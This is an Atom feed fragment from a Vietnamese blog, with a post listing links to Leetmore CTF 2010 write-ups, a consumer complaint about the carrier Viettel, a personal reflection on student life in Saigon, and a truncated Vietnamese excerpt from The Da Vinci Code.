href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8403751190977942852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8403751190977942852'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/09/leet-more-ctf-2010-write-up-wrapp-it.html' title='leet more ctf 2010 write up - wrapp it !'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-8609955360466290490</id><published>2010-09-09T18:58:00.011+07:00</published><updated>2010-09-18T10:59:25.174+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='leetmore2010'/><title type='text'>leetmore CTF 2010 !</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_mMaWcZ9ESZI/TIjMNgDfd2I/AAAAAAAABtg/MsXGQ3OcHxI/s1600/leetmore.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="92" src="http://4.bp.blogspot.com/_mMaWcZ9ESZI/TIjMNgDfd2I/AAAAAAAABtg/MsXGQ3OcHxI/s320/leetmore.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;lastday, I played Leetmore CTF 2010 with my team - bkitsec ( #bkitsec@irc.freenode.net ). The final result, my team take a 3rd place - nice . Some writeup will come here later. Just wait and see.&lt;br /&gt;&lt;br /&gt;Thanks Leetmore CTF 2010 staffs . flow this blog for more informations : http://leetmore.ctf.su/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Oh Those Admins!&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://auntitled.blogspot.com/2010/09/leet-more-ctf-2010-write-up-oh-dears.html&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://cvk.posterous.com/sql-injection-with-raw-md5-hashes  http://blog.nibbles.fr/?p=2039  (fr)&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Lottery&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://auntitled.blogspot.com/2010/09/leet-more-ctf-2010-write-up-lottery.html &lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;ELFquest &lt;/span&gt;&lt;/b&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://blog.nibbles.fr/?p=2108 (fr)&lt;br /&gt;http://leetmore.ctf.su/wp/leet-more-2010-elf-quest-writeup/&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Stack or what&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://blog.nibbles.fr/?p=2071 (fr)&lt;br /&gt;http://leetmore.ctf.su/wp/leet-more-2010-stack-or-what-writeup/&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Rad Subscription Algorithm&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://blog.nibbles.fr/?p=2072 (fr)&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;LameHackers&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://blog.nibbles.fr/?p=2055 (fr)&lt;/span&gt;v&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Nois&lt;/b&gt;e magi&lt;/span&gt;c&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://leetmore.ctf.su/wp/leet-more-2010-noise-magic-writeup/&lt;br /&gt;&lt;br/&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Strange cipher&lt;/span&gt;&lt;/b&gt;&lt;br/&gt;&lt;br /&gt;http://leetmore.ctf.su/wp/leet-more-2010-strange-cipher-writeup/&lt;/span&gt;&lt;br/&gt;&lt;br /&gt;&lt;h2&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-8609955360466290490?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/8609955360466290490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/09/leetmore-ctf-2010.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8609955360466290490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8609955360466290490'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/09/leetmore-ctf-2010.html' title='leetmore CTF 2010 !'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TIjMNgDfd2I/AAAAAAAABtg/MsXGQ3OcHxI/s72-c/leetmore.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-7177331578125740097</id><published>2010-09-02T22:10:00.000+07:00</published><updated>2010-09-02T22:10:22.550+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>Vì sao tôi tẩy chay Viettel</title><content type='html'>Chiều nay, bỗng dưng sim SV Viettel của mình bị khóa hai chiều, gọi điện hỏi tổng đài thì nhận được những lời giải thích và hướng dẫn rất vô lý. Bắt buộc phải viết bài này để cảnh báo cho tất cả mọi người, dù có bị bị dụ dỗ như thế nào đi chăn nữa thì cũng đừng bao giờ sài các dịch vụ của Viettel.&lt;br /&gt;&lt;br /&gt;Thật tình, không phải chỉ vì một việc cỏn con là bị khóa sim mà tôi lại quyết định tẩy chay Viettel. Trước đó, rất nhiều lần Viettel hành xử thiếu chuyên nghiệp. Cộng với lần này, sau việc bị khóa sim thì là một loạt các giải trình và hướng giải quyết hết sức vô lý của bên Viettel mới chính là nguyên nhân chính khiến tôi quyết định như vậy.&lt;br /&gt;&lt;br /&gt;Lúc trước, tôi có sài dịch vụ điện thoại dây và ADSL của Viettel. Nhưng do điều kiện không cho phép nữa, cậu tôi đã ngừng dịch vụ ADSL, khi ngừng thì nhân viên thu cước nói rỏ ràng rằng : "Anh cứ nợ cước lại 20.000 VNĐ đi, khi nào muốn dùng lại thì cứ ra nộp 20.000 VNĐ là được. " . Nhưng cách đây 2 tháng, tôi có đi ra cửa hàng Viettel nộp cước ADSL đó và hỏi có mở lại không. Nhưng nhân viên bảo rằng không được. Do ngừng lâu nên đã bị ngắt. Anh phải đăng ký lại (mấy con nhân viên rất láu cá, không biết nó ăn bao nhiêu %/ 1 hợp đồng mà lúc nào cũng xúi người ta làm hợp đồng mới). Mấy chị nhân viên này còn dụ mình là : "nếu bây giờ em bắt mới thì chị sẽ cố gắng 2 3 ngày sẽ có thể dùng được, còn khôi phục thì có khi mất hơn tuần ????".Cái gì đây, hớ hả mấy chị. được thôi, đã lườn trước tình huống này, đành bảo là thôi, để em tính sau; rồi về nhà. Về đến nhà, điện tổng đài của Viettel (0862500119) thì chị tổng đài bảo là ADSL chỉ bị khóa do không dùng quá lâu, bây giờ chỉ cần mang giấy đăng ký kinh doanh và CMND giám đốc ra làm hợp đồng kết nối lại thôi. À, thì sẵn sàng. Hôm sau, mình mang đủ giấy tờ ra, cả hai chị ở chỗ cửa hàng Viettel vẫn khăn khăn như vậy, rằng : " không được, thuê bao internet bị cắt lâu quá rồi nên không thể khôi phục được ...." . Một lần nữa mình phải điện tổng đài, để mấy chị tổng đài "dạy" lại mấy chị nhân viên này cách xử lý như thế nào cho tình huống này. Rồi, khi nghe chị tổng đài giáo huấn xong thì lại hẹn, tiếp tục hẹn mình rằng sau 1 tuần nữa sẽ có nhân viên kĩ thuật điện thoại trả lời và đấu cáp.&lt;br /&gt;&lt;br /&gt;Ngồi nhà hơn một tuần lễ, mình điện tổng đài hỏi lại, sau một hồi giằng co, rồi chị ta cũng bảo mình chờ tiếp !!!! Một vài ngày sau đó, mình test thử thì tự nhiên có mạng, không cần làm hợp đồng kết nối lại nhá !?!?!?!? (vô lý không ???).&lt;br /&gt;&lt;br /&gt;Tháng sau - thu cước. Vớ vẩn, mình đang ở quê nghỉ hè. Cậu điện về hỏi "Mi đăng ký kiểu gì mà tiền cước Internet tháng này lên tới 450.000 VNĐ vậy ?". À, biết là có chuyện rồi, thôi bảo cậu để đó, mình sẽ giải quyết sau.&lt;br /&gt;&lt;br /&gt;Vô SG, mình điện tổng đài hỏi thử thì bảo là&amp;nbsp; gói cước mình đang dùng là gói cước tính tiền theo lưu lượng ... WTF ??? Vòng vo một hồi, mình nói chị ta tra lại rỏ ràng các thời điểm trước khi bị khóa và khôi phục, rỏ ràng là vẫn trọn gói, làm gì có việc khôi phục kiêm luôn việc chuyển đổi gói cước cho khách hàng ??? Chị ta bảo mang hợp đồng làm lúc khôi phục lại internet ra cửa hàng của Viettel, nhân viên ở đó sẽ giải quyết .... mà, làm gì có cái hợp đồng nào mà mang. Thôi được, thân chinh ra cửa hàng, mình đi nộp cước. Nói chị thu ngân tra cước giúp mình, 450k VND ???? Mình bảo chị xem lại gói cước mình đang dùng .... lưu lượng. Quái vậy nhỉ ???? đấu tranh tư tưởng một hồi, rằng trước đó - khi chưa khóa thì mình vẫn đang sài trọn gói, nhưng bây giờ lại là lưu lượng. Chị ta quả quyết là việc khôi phục ko ảnh hưởng đến gói cước đang dùng. Ồ, không lẽ chị ta bị thiểu năng hay sao nhỉ, rành rành thế mà. Bảo chị ta điện cho tổng đài, hỏi rành rỏi các thời điểm và đặt tính gói cước của mình, thì rỏ ràng hiện tại mình phải sài trọn gói. Thấy rỏ ràng hệ thống có vấn đề, chị ta xem xét lại, trên hai hệ thống (nói thêm là việc quản lý Internet của Viettel - tôi chỉ biết vậy thôi - là được quản lý trên hai hệ thống riêng biệt : FPT và của Viettel ???, rỏ ràng hai hệ thống này hoạt động không đồng bộ với nhau) thì một bên gói cước của tôi là trọn gói, một bên là lưu lượng ... Và không một lời xin lỗi, nhân viên kia làm thinh. Tôi hỏi lại là : "bây giờ em nộp thì sẽ mở lại ngay đúng không chị, nộp bao nhiêu chị ???", và chị ấy trả lời là 250k VNĐ, rỏ ràng nếu không làm rỏ, nhiều người sẽ nộp 450k cho cái lỗi ngu ngốc thuộc về Viettel.&lt;br /&gt;&lt;br /&gt;Nhưng chưa dừng lại ở đó, tôi chưa nộp đâu. Tôi hỏi : "Vậy tiền cước tháng này tính sao chị, tiền cước tháng mà bên chị cắt dịch vụ ADSL của em đó, rỏ ràng là lỗi của bên phía Viettel mà !" . Chị ấy trả lời là : "À, vẫn tính bình thường em, em sài trọng gói mà ??!?!?!?!?". Vô lý, tôi không vội nộp tiền đó, vâng, dại gì. Về nhà, tiếp tục gọi lên tổng đại để được giải quyết vấn đề còn lại (nẩy sinh thêm đó) thì các chị ấy hẹn tôi 1 h nữa sẽ có nhân viên gọi lại để giải quyết. À, đúng 1 tiếng sau thì có nhân viên gọi lại thật, mà không phải để giải quyết mà là để hẹn tiếp 1 tuần nữa (đến ngày 8/8)... Tiếp tục đợi, sau giờ hẹn mà chưa thấy bóng dáng thiên thần nào của Viettel trả lời, bực tức, tôi điện lại tổng đài. Chị ấy bảo sau 1 tiếng nữa, sẽ có nhân viên gọi lại. Một kịch bản y hệt mà tôi lại phải đợi đến ngày 13/8. Và không có ai trả lời. Tôi đành gọi lại tổng đài lần chót, hỏi chị ấy có cần thêm nhân viên khắc phục sự cố như tôi không, và bonus thêm cho chị ấy rằng : "Mấy chị không cần phí sức phải giải quyết đâu ạ, em kéo ADSL của VNPT rồi !".&lt;br /&gt;&lt;br /&gt;Chiều hôm đó, một vài cuộc gọi từ tổng đài Viettel điện tôi và nói chuyện này nọ : "giải quyết xong rồi anh ạ", "bây giờ anh ra đóng cước giúp em rồi em sẽ mở lại cho anh ngay nha", "tiền cước của anh là ....", .... ôi thôi vớ vẫn, Viettel nên đưa mấy em miệng lưỡi ngon ngọt này sang làm tổng đài viên cho vnpt còn hơn, dịch vụ củ chuối mà chuyên đi ru ngủ khách hàng bằng những gịong ngon ngọt này.&lt;br /&gt;&lt;br /&gt;--- Vừa nhận điện từ tổng đài Viettel, để hẹn giải quyết việc xóa thông tin sim của mình, lại hẹn đấy ; đến ngày 7; fuck Viettel ---&lt;br /&gt;&lt;br /&gt;Rồi, tiếp tục là chuyện Viettel ngang nhiên xóa thông tin sim của tôi, khóa hai chiều mà không có bất kì lý do nào.&lt;br /&gt;&lt;br /&gt;Sim SV, mới đăng ký hồi tháng 6, rỏ ràng, mình làm hợp hợp đồng đăng ký sim SV gồm cả bảng photo CMND, thẻ SV. Nhưng giờ phía Viettel lại báo lại là thông tin không chính xác nên xóa. Tôi gọi lại hỏi không chính xác chỗ nào thì không thấy giải trình rỏ ràng. Còn bảo là ngày mai anh mang đầy đủ giấy tờ ra cửa hàng Viettel để làm lại thông tin ?!? Nhưng cũng y vậy thôi chứ đâu có gì khác, nếu đăng ký lại y như vậy thì chắc chắn sẽ bị xóa. Tiếp tục "đấu tranh" với truyền thống quân đội mà, bây giờ thì đang hẹn để giải quyết. (lại hẹn !?!?!)&lt;br /&gt;&lt;br /&gt;À, nói bên lề một tí nữa.&amp;nbsp; hôm đó, tình cờ nộp cước thôi. Có một Anh, thay vợ mình đi làm lại sim. Chị nhân viên lại viên lại bảo là không được, dù có CMND của vợ anh ở đây rồi cũng không được. Phải đích thân vợ anh ra đây mới làm được. Oh shit, vợ anh ta mới sinh xong đó mấy cô ạ, không biết cái thứ dịch vụ gì mà làm ăn như vậy nhỉ ?!?!?!&lt;br /&gt;&lt;br /&gt;Tôi không biết Viettel "chất lượng" đến mức nào, dịch vụ tốt đến đâu nhưng với tư cách cá nhân tôi, giá trị thực sự Viettel mang lại không thấm thía gì với cái giá ta phải trả, sự bực tức, thời gian và cả chất lượng kém.&lt;br /&gt;&lt;br /&gt;Internet hãy sài VNPT, di động hãy sài mobifone. Một công ty quân đội, rất TO. Khẩu hiệu phục vụ chu đáo khách hàng treo đầy tường các cửa hàng của Viettel chỉ là cái mác. Viettel là đồ bỏ.&lt;br /&gt;&lt;br /&gt;Tôi chính thức tẩy chay Viettel !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-7177331578125740097?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/7177331578125740097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/09/vi-sao-toi-tay-chay-viettel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/7177331578125740097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/7177331578125740097'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/09/vi-sao-toi-tay-chay-viettel.html' title='Vì sao tôi tẩy chay Viettel'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-3367241146726243698</id><published>2010-09-01T23:30:00.000+07:00</published><updated>2010-09-01T23:30:36.096+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>2 năm một chặn đường dài</title><content type='html'>Muốn viết gì đó, nhưng viết ra rồi lại xóa, hình như đôi tay này không kịp với suy nghĩ, suy nghĩ thì thoáng qua rồi đi thật xa, còn đôi tay thì vẫn ì ạch type.&lt;br /&gt;Nhưng dù sao thì cũng phải viết tí gì đó để đánh cột&amp;nbsp; mốc về sự hiện diện của mình ở đây - Sài Gòn.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Còn nhớ như in buổi đầu tiên đặt chân lên mảnh đất này. Nắng, nóng, đông đúc và mệt mỏi. Có thể mình có cách đánh dấu lần đầu tiên khá lạ, đó là ... bệnh. Lần đó, Trung Thu, hớn hở theo các anh chị về Bến Tre tổ chức trung thu cho các em nhỏ. Đó là nguyên nhân trận ốm của mình. Chả hiểu vì duyên cớ làm sao, cả đoàn đi, về thì duy chỉ có mình dính. Mình đi là ngày chủ nhật, chiều thứ hai về. Qua thứ 3, chiều lên trường học Lý, chị dạy bài tập dạy dở, nên thèn nào cũng buồn ngủ và muốn về. Lúc đó mình đã ngấm bệnh rồi thì phải, không còn cảm giác gì nữa. Đầu óc lân lân, và cứ vậy mà đứng dậy, bước ra cửa - chỉ kịp nói gì đó, hình như là xin cô cho em ra ngoài rồi đi thẳng. Về sau mới biết, lúc đó mình như là thèn nổi nhất cả giảng đường thì phải, mình mở lối cho các anh em chiến hữu sau đó .... chuồn luôn :-| .&lt;br /&gt;&lt;br /&gt;hai chặn xe buýt, đến nhà, không còn sức để bước nữa. Nhưng may thay, trạm cuối cùng là ngay một phòng khám, mình đi vào, và không còn biết gì nữa. Khi tỉnh dậy thì thấy đang được truyền nước, rồi sau đó thì về nhà ... Hôm sau đi khám, mới biết là mình bi sốt xuất huyết. Rồi .... tuần đầu tiên cúp hẳn, nằm liệt ở nhà, truyền dịch, hic.&lt;br /&gt;&lt;br /&gt;Rồi những chuối ngày tiếp theo là những chuỗi ngày ăn chơi không mệt mỏi. Tham gia hoạt động đoàn hội từa lưa, rồi clb, rồi ns. Và bây giờ thì chỉ còn mỗi ns là niềm tự hào của mình. À, còn cả một tháng Quân Sự nữa chứ, đó là một thời gian không thể quên. Phòng mười mấy thèn, quậy như quỷ nhưng rất là vui :)).&lt;br /&gt;&lt;br /&gt;Sau đó, miệt mài học tập. Nhớ nhất là những đêm tới 3h sáng cùng anh em ns, một đám chưa biết gì, theo chân anh Toàn, học . Nói chung là thời kì đầu khá khó khăn, vì đứa nào cũng chập chững, chưa biết gì cả. Nhưng dần già, với sự chỉ bảo tận tình của mấy anh chị, rồi cũng vững vàng dần. học học học, có thể những lần thâu đêm như thế làm mình trở thành như thèn nghiện khi về tết . Đầu tóc bù xù, ốm nhom ốm nhách, ôi thật kinh khủng .&lt;br /&gt;&lt;br /&gt;Cuối năm nhất, mình&amp;nbsp; đi mùa hè xanh, và cũng là vùng quê "cũ" - Bến Tre. Một tháng ở đây giúp mình trưởng thành lên rất nhiều. ngoài việc thành thạo việc nấu nướng, mình còn nhận ra nhiều thứ - không phải ở đâu xa lạ mà ở quanh ta, rất đẹp - tự nhiên. Quen thêm nhiều anh em, trong khoa, và điều đặt biệt hơn nữa là việc uống "nước dừa" ngày một không làm mình khá hơn, mà nó làm mình bị chứng "nhờn nước dừa" - không thể ngồi lâu trong bàn dù trong bàn toàn "sơn hào hải vị " .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thôi, đi ngủ. Còn nhiều nữa nhưng chắc nhiêu đây đủ kỷ niệm 2 năm rồi :D.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-3367241146726243698?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/3367241146726243698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/09/2-nam-mot-chan-uong-dai.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3367241146726243698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3367241146726243698'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/09/2-nam-mot-chan-uong-dai.html' title='2 năm một chặn đường dài'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-2992105146223514794</id><published>2010-08-17T08:22:00.002+07:00</published><updated>2010-08-17T08:23:06.227+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>Sao năm cánh - tính nữ thiêng liêng.</title><content type='html'>“Đó là một hình sao năm cánh”, Langdon nói, giọng ông nghe vang vọng trong không gian rộng lớn. “Một trong những biểu tượng cổ xưa nhất trên trái đất. Được dùng hơn bốn nghìn năm trước Công nguyên”.&lt;br /&gt;“Và nó có ý nghĩa gì?”.&lt;br /&gt;Câu hỏi này bao giờ cũng khiến Langdon do dự. Nói với ai đó một biểu tượng có ý nghĩa gì cũng giống như nói họ nên cảm nhận một bài hát như thế nào - điều đó với mỗi người một khác. Chiếc mũ trắng trùm đầu của Đảng 3K (Ku Klux Klan) gợi lên ở Mỹ những hình ảnh của căm thù và chủ nghĩa phân biệt chủng tộc, nhưng cùng trang phục ấy lại mang ý nghĩa về niềm tin tôn giáo ở Tây Ban Nha.&lt;br /&gt;“Các biểu tượng mang những ý nghĩa khác nhau trong từng hoàn cảnh khác nhau!”, Langdon nói. “Ban đầu, ngôi sao năm cánh là biểu tượng vô tôn giáo”.&lt;br /&gt;Fache gật đầu: “Thờ ma quỷ”.&lt;br /&gt;“Không”, Langdon sửa lại, ngay lập tức nhận ra rằng sự lựa chọn từ ngữ của ông nên rõ ràng hơn.&lt;br /&gt;Ngày nay, từ pagan (vô đạo) đã trở thành đồng nghĩa với thờ ma quỷ - một cách hiểu sai thô thiển. Gốc của từ này thực sự bắt nguồn từ chữ Latinh paganus, nghĩa là người nhà quê.&lt;br /&gt;“Pagan” là những người dân quê chưa được truyền giáo thực sự nên cứ bám lấy những tôn giáo cổ xưa và thôn dã thờ Tự Nhiên. Trên thực tế, Nhà Thờ sợ những người sống ở làng quê đến nỗi một từ vô thưởng vô phạt để chỉ “dân làng” (villain) - cũng bị biến nghĩa thành kẻ xấu.&lt;br /&gt;“Ngôi sao năm cánh”, Langdon cố làm cho nó dễ hiểu hơn, “là một biểu tượng trước Công Nguyên có liên quan đến tín ngưỡng tôn thờ Tự nhiên. Người cổ đại luôn hình dung thế giới của họ thành hai nửa - nam tính và nữ tính. Các nam thần và nữ thần của họ cùng nhau giữ cho cân bằng quyền lực âm và dương. Khi tính nam và tính nữ cân bằng thì có sự hài hòa trong thế giới. Khi chúng mất cân bằng, thì sẽ xuất hiện sự lộn xộn”.&lt;br /&gt;Langdon chỉ vào bụng của Saunière. “Hình sao năm cánh này tiêu biểu nửa cái của mọi sự vật - một khái niệm mà các sứ giả tôn giáo gọi là “tính nữ thiêng liêng” hay “nữ thần siêu phàm”. Saunière ở trong số ít người biết được điều này”.&lt;br /&gt;“Saunière vẽ một biểu tượng nữ thần trên bụng mình sao?”.&lt;br /&gt;Langdon phải thừa nhận, điều đó có vẻ kỳ lạ: “Theo cách diễn giải cụ thể nhất, thì hình sao năm cánh tượng trưng cho thần Vệ nữ - nữ thần của tình yêu xác thịt và sắc đẹp”.&lt;br /&gt;Fache nhìn người đàn ông lõa thể và lầm bầm.&lt;br /&gt;“Tôn giáo sơ khai dựa trên trật tự thiêng liêng của Tự nhiên. Thần Vệ nữ và sao Kim là một. Nữ thần này có một chỗ trên bầu trời đêm và được gọi bằng nhiều tên - Vệ nữ, Ngôi Sao Phương Đông, Ishtar, Astarte - tất cả đều là những khái niệm mang tính nữ đầy quyền uy với mối liên hệ chặt chẽ với Tự nhiên và Mẹ Đất”.&lt;br /&gt;Fache lúc này có vẻ còn hoang mang hơn, như thể, cách nào đó, ông ta vẫn thích cái ý nghĩa thờ ma quỷ hơn.&lt;br /&gt;Langdon quyết định không nói cho ông ta biết đặc điểm kỳ lạ nhất của hình sao năm cánh - nguồn gốc những liên hệ mang tính đồ họa của nó với sao Kim.&lt;br /&gt;Khi còn là một sinh viên trẻ khoa chiêm tinh học, Langdon đã sửng sốt khi biết rằng cứ tám năm một lần, sao Kim lại vẽ trên bầu trời một hình sao năm cánh hoàn hảo. Người cổ đại đã quá kinh ngạc khi quan sát hiện tượng này đến mức sao Kim cùng hình vẽ này trở thành biểu tượng của sự hoàn hảo, vẻ đẹp, và những phẩm chất chu kỳ của tình yêu nhục dục. Để tỏ lòng tôn kính đối với phép thuật của sao Kim, người Hy Lạp đã dùng chu kỳ tám năm để tổ chức thế vận hội Olympic. Ngày nay, rất ít người nhận ra rằng chu kỳ bốn năm của Olympic hiện đại vốn theo nửa chu kỳ của sao Kim. Càng hiếm hơn nữa những người biết rằng hình sao năm cánh đã từng gần như trở thành con dấu chính thức của thế vận hội Olympic nhưng đã bị cải biên vào phút cuối - năm đỉnh của nó chuyển thành năm vòng tròn giao nhau để phản ánh tốt hơn tinh thần đoàn kết và hòa đồng của các cuộc chơi.&lt;br /&gt;“Ông Langdon”, Fache đột nhiên nói. “Rõ ràng, hình sao năm cánh chắc cũng liên quan đến ma quỷ. Những bộ phim Mỹ kinh dị của các ông chứng tỏ rõ điểm đó”.&lt;br /&gt;Langdon cau mày. Cảm ơn ngài, Hollywood. Giờ đây, trên thực tế hình sao năm cánh là hình ảnh rập khuôn trong những bộ phim truyền hình nhiều tập thuộc loại dao găm súng lục, thường được vẽ trên tường nhà của những kẻ thờ quỷ Satan cùng với những biểu tượng khác được cho là gắn với ma quỷ.&lt;br /&gt;Langdon luôn luôn thất vọng khi ông thấy biểu tượng sao năm cánh trong khung cảnh như vậy; nguồn gốc đích thực của hình sao năm cánh thực sự linh thiêng.&lt;br /&gt;“Tôi cam đoan với ông”, Langdon nói, “dù ông nhìn thấy bất kỳ điều gì trong các bộ phim, thì cách giải thích mang tính ma quỷ về hình sao năm cánh vẫn là không chính xác về mặt lịch sử. Ý nghĩa nữ tính ban đầu là chính xác, nhưng tính biểu tượng của hình sao năm cánh đã bị bóp méo qua cả thiên niên kỷ. Trong trường hợp này, là thông qua chém giết”.&lt;br /&gt;“Tôi không chắc là tôi hiểu những điều ông nói”.&lt;br /&gt;Langdon liếc nhìn cây thánh giá của Fache, không biết làm thế nào để diễn đạt ý tiếp theo của mình: “Giáo hội, thưa ông.&lt;br /&gt;Các biểu tượng thường rất lâu bền nhưng biểu tượng hình sao năm cánh đã bị Giáo hội Thiên Chúa giáo La Mã cổ thay đổi.&lt;br /&gt;Như một phần trong chiến dịch của Vatican nhằm tiêu diệt tôn giáo vô thần và cải đạo cho dân chúng sang Thiên Chúa giáo, Giáo hội đã thực thi một chiến dịch bôi nhọ các nam thần và nữ thần ngoại đạo, biến những biểu tượng thần thánh của họ thành ma quỷ”.&lt;br /&gt;“Tiếp tục đi”.&lt;br /&gt;“Điều này rất phổ biến trong thời loạn”, Langdon tiếp tục. “Một thế lực mới nổi lên sẽ lấy các biểu tượng đang tồn tại và làm mất giá trị của chúng qua thời gian nhằm xóa đi ý nghĩa của chúng. Trong trận chiến giữa các biểu tượng vô đạo và biểu tượng của Thiên Chúa giáo, những người vô đạo đã thua; chiếc đinh ba của thần biển trở thành cái chĩa của quỷ, cái mũ nhọn của bà già thông thái trở thành biểu tượng của một phù thủy, và hình sao năm cánh của thần Vệ nữ trở thành một dấu hiệu của ma quỷ”. Langdon dừng lại. “Thật không may, quân đội Mỹ cũng hiểu sai hình sao năm cánh; giờ đây nó trở thành biểu tượng hàng đầu của chiến tranh. Chúng tôi vẽ nó trên tất cả các máy bay chiến đấu và gắn nó trên vai của mọi tướng lĩnh của 